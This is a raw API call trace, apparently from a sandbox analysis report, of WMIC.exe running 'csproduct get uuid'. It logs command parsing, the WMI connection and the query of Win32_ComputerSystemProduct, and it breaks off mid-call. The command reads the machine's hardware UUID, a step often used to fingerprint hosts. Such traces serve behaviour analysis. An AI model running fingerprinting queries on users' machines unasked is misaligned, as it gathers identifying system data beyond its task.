text=0x1ef480 | out: text=0x1ef480*="textvaluelist.xsl") returned 0x0 [0254.833] IXMLDOMNode:get_attributes (in: This=0x205bd50, attributeMap=0x1ef478 | out: attributeMap=0x1ef478*=0x20578d0) returned 0x0 [0254.833] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20578d0, name="KEYWORD", namedItem=0x1ef488 | out: namedItem=0x1ef488*=0x205a280) returned 0x0 [0254.833] IXMLDOMNode:get_nodeValue (in: This=0x205a280, value=0x1ef4c0 | out: value=0x1ef4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat", varVal2=0x80070001c)) returned 0x0 [0254.833] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0254.833] SysStringLen (param_1="TABLE") returned 0x5 [0254.833] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0254.833] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0254.833] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0254.833] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0254.833] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0254.833] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0254.833] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0254.833] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0254.833] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0254.833] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0254.833] IUnknown:Release (This=0x205bd50) returned 0x0 [0254.833] IUnknown:Release (This=0x20578d0) returned 0x0 [0254.833] IUnknown:Release (This=0x205a280) returned 0x0 [0254.833] IUnknown:Release (This=0x2059cc0) returned 0x0 [0254.834] FreeThreadedDOMDocument:IUnknown:Release (This=0x205bc50) returned 0x1 [0254.834] FreeThreadedDOMDocument:IUnknown:Release (This=0x20571d0) returned 0x0 [0254.834] GetCommandLineW () returned="\"C:\\Windows\\System32\\Wbem\\WMIC.exe\" csproduct get uuid" [0254.891] memcpy_s (in: _Destination=0x109840, _DestinationSize=0x6e, _Source=0x24269a, _SourceSize=0x6e | out: _Destination=0x109840) returned 0x0 [0254.891] GetLocalTime (in: lpSystemTime=0x1ef630 | out: lpSystemTime=0x1ef630*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x2b, wSecond=0x29, wMilliseconds=0x197)) [0254.891] _vsnwprintf (in: _Buffer=0x10c010, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x1ef588 | out: _Buffer="01-08-2019T12:43:41") returned 19 [0254.891] lstrlenW (lpString=" csproduct get uuid") returned 20 [0254.891] lstrlenW (lpString=" csproduct get uuid") returned 20 [0254.891] lstrlenW (lpString=" csproduct get uuid") returned 20 [0254.891] lstrlenW (lpString=" csproduct get uuid") returned 20 [0254.891] lstrlenW (lpString=" csproduct get uuid") returned 20 [0254.891] lstrlenW (lpString=" csproduct get uuid") returned 20 [0254.891] lstrlenW (lpString="csproduct") returned 9 [0254.891] _wcsicmp (_String1="csproduct", _String2="\"NULL\"") returned 65 [0254.891] lstrlenW (lpString=" csproduct get uuid") returned 20 [0254.891] lstrlenW (lpString="get") returned 3 [0254.891] _wcsicmp (_String1="get", _String2="\"NULL\"") returned 69 [0254.891] memmove_s (in: _Destination=0x109630, _DestinationSize=0x8, _Source=0x10c0a0, _SourceSize=0x8 | out: _Destination=0x109630) returned 0x0 [0254.892] lstrlenW (lpString=" csproduct get uuid") returned 20 [0254.892] lstrlenW (lpString="uuid") returned 4 [0254.892] _wcsicmp (_String1="uuid", _String2="\"NULL\"") returned 83 [0254.892] memmove_s (in: _Destination=0x1096b0, _DestinationSize=0x10, _Source=0x109630, _SourceSize=0x10 | out: _Destination=0x1096b0) returned 0x0 [0254.892] lstrlenW (lpString="QUIT") returned 4 [0254.892] lstrlenW (lpString="csproduct") returned 9 [0254.892] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="csproduct", cchCount1=9, lpString2="QUIT", cchCount2=4) returned 1 [0254.892] lstrlenW (lpString="EXIT") returned 4 [0254.892] lstrlenW (lpString="csproduct") returned 9 [0254.892] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="csproduct", cchCount1=9, lpString2="EXIT", cchCount2=4) returned 1 [0254.892] WbemLocator:IUnknown:AddRef (This=0x1b61390) returned 0x2 [0254.892] lstrlenW (lpString="/") returned 1 [0254.892] lstrlenW (lpString="csproduct") returned 9 [0254.892] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="csproduct", cchCount1=9, lpString2="/", cchCount2=1) returned 3 [0254.892] lstrlenW (lpString="-") returned 1 [0254.892] lstrlenW (lpString="csproduct") returned 9 [0254.892] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="csproduct", cchCount1=9, lpString2="-", cchCount2=1) returned 3 [0254.892] lstrlenW (lpString="CLASS") returned 5 [0254.892] lstrlenW (lpString="csproduct") returned 9 [0254.892] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="csproduct", cchCount1=9, lpString2="CLASS", cchCount2=5) returned 3 [0254.892] lstrlenW (lpString="PATH") returned 4 [0254.892] lstrlenW (lpString="csproduct") returned 9 [0254.892] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="csproduct", cchCount1=9, lpString2="PATH", cchCount2=4) returned 1 [0254.892] lstrlenW (lpString="CONTEXT") returned 7 [0254.892] lstrlenW (lpString="csproduct") returned 9 [0254.892] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="csproduct", cchCount1=9, lpString2="CONTEXT", cchCount2=7) returned 3 [0254.892] lstrlenW (lpString="csproduct") returned 9 [0254.893] lstrlenW (lpString="csproduct") returned 9 [0254.893] GetCurrentThreadId () returned 0x140 [0254.893] ??0CHString@@QEAA@XZ () returned 0x1ef440 [0254.893] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b61390, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xfff62998 | out: ppNamespace=0xfff62998*=0x1b73a98) returned 0x0 [0255.006] CoSetProxyBlanket (pProxy=0x1b73a98, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0255.006] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.006] GetCurrentThreadId () returned 0x140 [0255.006] ??0CHString@@QEAA@XZ () returned 0x1ef2d8 [0255.007] SysStringLen (param_1="root\\cli") returned 0x8 [0255.007] SysStringLen (param_1="\\") returned 0x1 [0255.007] SysStringLen (param_1="root\\cli\\") returned 0x9 [0255.007] SysStringLen (param_1="ms_409") returned 0x6 [0255.007] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b61390, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xfff629a0 | out: ppNamespace=0xfff629a0*=0x1b73b28) returned 0x0 [0255.030] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.030] GetCurrentThreadId () returned 0x140 [0255.030] ??0CHString@@QEAA@XZ () returned 0x1ef450 [0255.031] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0255.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffef1980, cbMultiByte=-1, lpWideCharStr=0x10c9a0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0255.031] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0255.031] SysStringLen (param_1="csproduct") returned 0x9 [0255.031] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='csproduct") returned 0x25 [0255.031] SysStringLen (param_1="'") returned 0x1 [0255.031] IWbemServices:GetObject (in: This=0x1b73a98, strObjectPath="MSFT_CliAlias.FriendlyName='csproduct'", lFlags=0, pCtx=0x0, ppObject=0x1ef458*=0x0, ppCallResult=0x0 | out: ppObject=0x1ef458*=0x1b7a500, ppCallResult=0x0) returned 0x0 [0255.047] IWbemClassObject:Get (in: This=0x1b7a500, wszName="Target", lFlags=0, pVal=0x1ef380*(varType=0x0, wReserved1=0xfff6, wReserved2=0x0, wReserved3=0x0, varVal1=0xfff62998, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef380*(varType=0x8, wReserved1=0xfff6, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ComputerSystemProduct", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0255.047] lstrlenW (lpString="Select * from Win32_ComputerSystemProduct") returned 41 [0255.047] lstrlenW (lpString="Select * from Win32_ComputerSystemProduct") returned 41 [0255.047] IWbemClassObject:Get (in: This=0x1b7a500, wszName="PWhere", lFlags=0, pVal=0x1ef380*(varType=0x0, wReserved1=0xfff6, wReserved2=0x0, wReserved3=0x0, varVal1=0x277598, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef380*(varType=0x8, wReserved1=0xfff6, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0255.047] lstrlenW (lpString="") returned 0 [0255.047] lstrlenW (lpString="") returned 0 [0255.047] IWbemClassObject:Get (in: This=0x1b7a500, wszName="Connection", lFlags=0, pVal=0x1ef380*(varType=0x0, wReserved1=0xfff6, wReserved2=0x0, wReserved3=0x0, varVal1=0x2cfed8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef380*(varType=0xd, wReserved1=0xfff6, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b7a9e0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0255.047] IUnknown:QueryInterface (in: This=0x1b7a9e0, riid=0xffef7360*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1ef370 | out: ppvObject=0x1ef370*=0x1b7a9e0) returned 0x0 [0255.047] GetCurrentThreadId () returned 0x140 [0255.048] ??0CHString@@QEAA@XZ () returned 0x1ef298 [0255.048] IWbemClassObject:Get (in: This=0x1b7a9e0, wszName="Namespace", lFlags=0, pVal=0x1ef2c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfff0738f, varVal2=0x109750), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef2c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x109750), pType=0x0, plFlavor=0x0) returned 0x0 [0255.048] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0255.048] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0255.048] IWbemClassObject:Get (in: This=0x1b7a9e0, wszName="Locale", lFlags=0, pVal=0x1ef2c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2cfed8, varVal2=0x109750), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef2c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x109750), pType=0x0, plFlavor=0x0) returned 0x0 [0255.048] lstrlenW (lpString="ms_409") returned 6 [0255.048] lstrlenW (lpString="ms_409") returned 6 [0255.048] IWbemClassObject:Get (in: This=0x1b7a9e0, wszName="User", lFlags=0, pVal=0x1ef2c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2cfed8, varVal2=0x109750), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef2c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2cfed8, varVal2=0x109750), pType=0x0, plFlavor=0x0) returned 0x0 [0255.048] IWbemClassObject:Get (in: This=0x1b7a9e0, wszName="Password", lFlags=0, pVal=0x1ef2c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2cfed8, varVal2=0x109750), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef2c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2cfed8, varVal2=0x109750), pType=0x0, plFlavor=0x0) returned 0x0 [0255.048] IWbemClassObject:Get (in: This=0x1b7a9e0, wszName="Server", lFlags=0, pVal=0x1ef2c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2cfed8, varVal2=0x109750), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef2c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x109750), pType=0x0, plFlavor=0x0) returned 0x0 [0255.048] lstrlenW (lpString=".") returned 1 [0255.048] lstrlenW (lpString=".") returned 1 [0255.048] IWbemClassObject:Get (in: This=0x1b7a9e0, wszName="Authority", lFlags=0, pVal=0x1ef2c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2cfed8, varVal2=0x109750), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef2c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2cfed8, varVal2=0x109750), pType=0x0, plFlavor=0x0) returned 0x0 [0255.049] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.049] IUnknown:Release (This=0x1b7a9e0) returned 0x1 [0255.049] GetCurrentThreadId () returned 0x140 [0255.049] ??0CHString@@QEAA@XZ () returned 0x1ef298 [0255.049] IWbemClassObject:Get (in: This=0x1b7a500, wszName="__RELPATH", lFlags=0, pVal=0x1ef2c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2cfed8, varVal2=0xd), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef2c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"CSProduct\"", varVal2=0xd), pType=0x0, plFlavor=0x0) returned 0x0 [0255.049] GetCurrentThreadId () returned 0x140 [0255.049] ??0CHString@@QEAA@XZ () returned 0x1ef118 [0255.049] ??0CHString@@QEAA@PEBG@Z () returned 0x1ef130 [0255.049] ??0CHString@@QEAA@AEBV0@@Z () returned 0x1ef0c0 [0255.049] ?Empty@CHString@@QEAAXXZ () returned 0x7fee2b7482c [0255.049] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x10ca00 [0255.049] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0255.049] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1ef080 [0255.109] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1ef0c8 [0255.109] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1ef130 [0255.109] ??1CHString@@QEAA@XZ () returned 0x7cfcae01 [0255.109] ??1CHString@@QEAA@XZ () returned 0x7cfcae01 [0255.110] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1ef088 [0255.110] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1ef0c0 [0255.110] ??1CHString@@QEAA@XZ () returned 0x1 [0255.110] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x10ca70 [0255.110] ?Find@CHString@@QEBAHPEBG@Z () returned 0x9 [0255.110] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1ef080 [0255.110] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1ef0c8 [0255.110] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1ef130 [0255.110] ??1CHString@@QEAA@XZ () returned 0x7cfcae01 [0255.110] ??1CHString@@QEAA@XZ () returned 0x7cfcae01 [0255.110] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1ef088 [0255.110] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1ef0c0 [0255.110] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.110] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7fee2b74820 [0255.110] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.111] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0255.111] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0255.111] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0255.111] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"CSProduct\\\"") returned 0x28 [0255.111] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"CSProduct\\\"") returned 0x7b [0255.111] SysStringLen (param_1="\"") returned 0x1 [0255.112] IWbemServices:GetObject (in: This=0x1b73b28, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"CSProduct\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x1ef108*=0x0, ppCallResult=0x0 | out: ppObject=0x1ef108*=0x1b7aa80, ppCallResult=0x0) returned 0x0 [0255.131] IWbemClassObject:Get (in: This=0x1b7aa80, wszName="Text", lFlags=0, pVal=0x1ef140*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfff62ac0, varVal2=0x18), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef140*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e40f0*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x271ce0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x18), pType=0x0, plFlavor=0x0) returned 0x0 [0255.132] SafeArrayGetLBound (in: psa=0x2e40f0, nDim=0x1, plLbound=0x1ef120 | out: plLbound=0x1ef120) returned 0x0 [0255.132] SafeArrayGetUBound (in: psa=0x2e40f0, nDim=0x1, plUbound=0x1ef110 | out: plUbound=0x1ef110) returned 0x0 [0255.132] SafeArrayGetElement (in: psa=0x2e40f0, rgIndices=0x1ef104, pv=0x1ef158 | out: pv=0x1ef158) returned 0x0 [0255.132] SysStringLen (param_1="Computer system product information from SMBIOS. ") returned 0x31 [0255.133] IUnknown:Release (This=0x1b7aa80) returned 0x0 [0255.133] ??1CHString@@QEAA@XZ () returned 0x7cfcae01 [0255.133] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.133] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.133] lstrlenW (lpString="Computer system product information from SMBIOS. ") returned 49 [0255.133] lstrlenW (lpString="Computer system product information from SMBIOS. ") returned 49 [0255.134] IUnknown:Release (This=0x1b7a500) returned 0x0 [0255.134] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.134] lstrlenW (lpString="PATH") returned 4 [0255.135] lstrlenW (lpString="get") returned 3 [0255.135] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="PATH", cchCount2=4) returned 1 [0255.135] lstrlenW (lpString="WHERE") returned 5 [0255.135] lstrlenW (lpString="get") returned 3 [0255.135] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="WHERE", cchCount2=5) returned 1 [0255.135] lstrlenW (lpString="(") returned 1 [0255.135] lstrlenW (lpString="get") returned 3 [0255.135] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="(", cchCount2=1) returned 3 [0255.135] lstrlenW (lpString="/") returned 1 [0255.135] lstrlenW (lpString="get") returned 3 [0255.135] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="/", cchCount2=1) returned 3 [0255.135] lstrlenW (lpString="-") returned 1 [0255.135] lstrlenW (lpString="get") returned 3 [0255.135] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="-", cchCount2=1) returned 3 [0255.136] lstrlenW (lpString="GET") returned 3 [0255.136] lstrlenW (lpString="get") returned 3 [0255.136] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0255.136] lstrlenW (lpString="/") returned 1 [0255.136] lstrlenW (lpString="get") returned 3 [0255.137] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="/", cchCount2=1) returned 3 [0255.137] lstrlenW (lpString="-") returned 1 [0255.137] lstrlenW (lpString="get") returned 3 [0255.137] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="-", cchCount2=1) returned 3 [0255.137] lstrlenW (lpString="get") returned 3 [0255.137] lstrlenW (lpString="get") returned 3 [0255.137] lstrlenW (lpString="GET") returned 3 [0255.137] lstrlenW (lpString="get") returned 3 [0255.137] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0255.137] lstrlenW (lpString="/") returned 1 [0255.137] lstrlenW (lpString="uuid") returned 4 [0255.137] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="uuid", cchCount1=4, lpString2="/", cchCount2=1) returned 3 [0255.138] lstrlenW (lpString="-") returned 1 [0255.138] lstrlenW (lpString="uuid") returned 4 [0255.138] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="uuid", cchCount1=4, lpString2="-", cchCount2=1) returned 3 [0255.138] lstrlenW (lpString="uuid") returned 4 [0255.138] lstrlenW (lpString="uuid") returned 4 [0255.138] GetCurrentThreadId () returned 0x140 [0255.139] ??0CHString@@QEAA@XZ () returned 0x1ef048 [0255.139] memmove_s (in: _Destination=0x10cab0, _DestinationSize=0x8, _Source=0x10ca90, _SourceSize=0x8 | out: _Destination=0x10cab0) returned 0x0 [0255.139] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0255.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffef1980, cbMultiByte=-1, lpWideCharStr=0x10cad0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0255.140] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0255.140] SysStringLen (param_1="csproduct") returned 0x9 [0255.140] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='csproduct") returned 0x25 [0255.140] SysStringLen (param_1="'") returned 0x1 [0255.141] IWbemServices:GetObject (in: This=0x1b73a98, strObjectPath="MSFT_CliAlias.FriendlyName='csproduct'", lFlags=0, pCtx=0x0, ppObject=0x1ef088*=0x0, ppCallResult=0x0 | out: ppObject=0x1ef088*=0x1b7a500, ppCallResult=0x0) returned 0x0 [0255.146] IWbemClassObject:Get (in: This=0x1b7a500, wszName="Formats", lFlags=0, pVal=0x1ef108*(varType=0x0, wReserved1=0x77c9, wReserved2=0x0, wReserved3=0x0, varVal1=0xfff62b80, varVal2=0xfff3c79c), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef108*(varType=0x200d, wReserved1=0x77c9, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e40f0*(cDims=0x1, fFeatures=0x240, cbElements=0x8, cLocks=0x0, pvData=0x2dd4d0, rgsabound=((cElements=0x5, lLbound=0))), varVal2=0xfff3c79c), pType=0x0, plFlavor=0x0) returned 0x0 [0255.148] lstrlenW (lpString="SET") returned 3 [0255.148] lstrlenW (lpString="get") returned 3 [0255.148] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="SET", cchCount2=3) returned 1 [0255.149] SafeArrayGetLBound (in: psa=0x2e40f0, nDim=0x1, plLbound=0x1ef0a0 | out: plLbound=0x1ef0a0) returned 0x0 [0255.149] SafeArrayGetUBound (in: psa=0x2e40f0, nDim=0x1, plUbound=0x1ef09c | out: plUbound=0x1ef09c) returned 0x0 [0255.149] SafeArrayGetElement (in: psa=0x2e40f0, rgIndices=0x1ef090, pv=0x1ef078 | out: pv=0x1ef078) returned 0x0 [0255.149] IWbemClassObject:Get (in: This=0x1b7c3b0, wszName="Name", lFlags=0, pVal=0x1ef0e8*(varType=0x0, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x3, varVal2=0x8), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef0e8*(varType=0x8, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1="SYSTEM", varVal2=0x8), pType=0x0, plFlavor=0x0) returned 0x0 [0255.149] lstrlenW (lpString="FULL") returned 4 [0255.149] lstrlenW (lpString="SYSTEM") returned 6 [0255.149] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SYSTEM", cchCount1=6, lpString2="FULL", cchCount2=4) returned 3 [0255.150] IUnknown:Release (This=0x1b7c3b0) returned 0x1 [0255.150] SafeArrayGetElement (in: psa=0x2e40f0, rgIndices=0x1ef090, pv=0x1ef078 | out: pv=0x1ef078) returned 0x0 [0255.150] IWbemClassObject:Get (in: This=0x1b7c9c0, wszName="Name", lFlags=0, pVal=0x1ef0e8*(varType=0x0, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x2dd1a8, varVal2=0x8), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef0e8*(varType=0x8, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1="INSTANCE", varVal2=0x8), pType=0x0, plFlavor=0x0) returned 0x0 [0255.150] lstrlenW (lpString="FULL") returned 4 [0255.150] lstrlenW (lpString="INSTANCE") returned 8 [0255.150] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="INSTANCE", cchCount1=8, lpString2="FULL", cchCount2=4) returned 3 [0255.150] IUnknown:Release (This=0x1b7c9c0) returned 0x1 [0255.151] SafeArrayGetElement (in: psa=0x2e40f0, rgIndices=0x1ef090, pv=0x1ef078 | out: pv=0x1ef078) returned 0x0 [0255.151] IWbemClassObject:Get (in: This=0x1b7d4e0, wszName="Name", lFlags=0, pVal=0x1ef0e8*(varType=0x0, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x2dd1a8, varVal2=0x8), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef0e8*(varType=0x8, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1="STATUS", varVal2=0x8), pType=0x0, plFlavor=0x0) returned 0x0 [0255.151] lstrlenW (lpString="FULL") returned 4 [0255.151] lstrlenW (lpString="STATUS") returned 6 [0255.151] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="STATUS", cchCount1=6, lpString2="FULL", cchCount2=4) returned 3 [0255.151] IUnknown:Release (This=0x1b7d4e0) returned 0x1 [0255.151] SafeArrayGetElement (in: psa=0x2e40f0, rgIndices=0x1ef090, pv=0x1ef078 | out: pv=0x1ef078) returned 0x0 [0255.152] IWbemClassObject:Get (in: This=0x1b7f910, wszName="Name", lFlags=0, pVal=0x1ef0e8*(varType=0x0, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x2dd1a8, varVal2=0x8), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef0e8*(varType=0x8, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1="FULL", varVal2=0x8), pType=0x0, plFlavor=0x0) returned 0x0 [0255.152] lstrlenW (lpString="FULL") returned 4 [0255.152] lstrlenW (lpString="FULL") returned 4 [0255.152] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="FULL", cchCount1=4, lpString2="FULL", cchCount2=4) returned 2 [0255.152] IWbemClassObject:Get (in: This=0x1b7f910, wszName="Properties", lFlags=0, pVal=0x1ef120*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfff62ac0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef120*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2e4270*(cDims=0x1, fFeatures=0x240, cbElements=0x8, cLocks=0x0, pvData=0x2e42a0, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0255.154] SafeArrayGetLBound (in: psa=0x2e4270, nDim=0x1, plLbound=0x1ef0b0 | out: plLbound=0x1ef0b0) returned 0x0 [0255.154] SafeArrayGetUBound (in: psa=0x2e4270, nDim=0x1, plUbound=0x1ef0b8 | out: plUbound=0x1ef0b8) returned 0x0 [0255.154] SafeArrayGetElement (in: psa=0x2e4270, rgIndices=0x1ef0a8, pv=0x1ef058 | out: pv=0x1ef058) returned 0x0 [0255.154] IWbemClassObject:Get (in: This=0x1b81c60, wszName="Name", lFlags=0, pVal=0x1ef158*(varType=0x0, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0xfff08408), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Description", varVal2=0xfff08408), 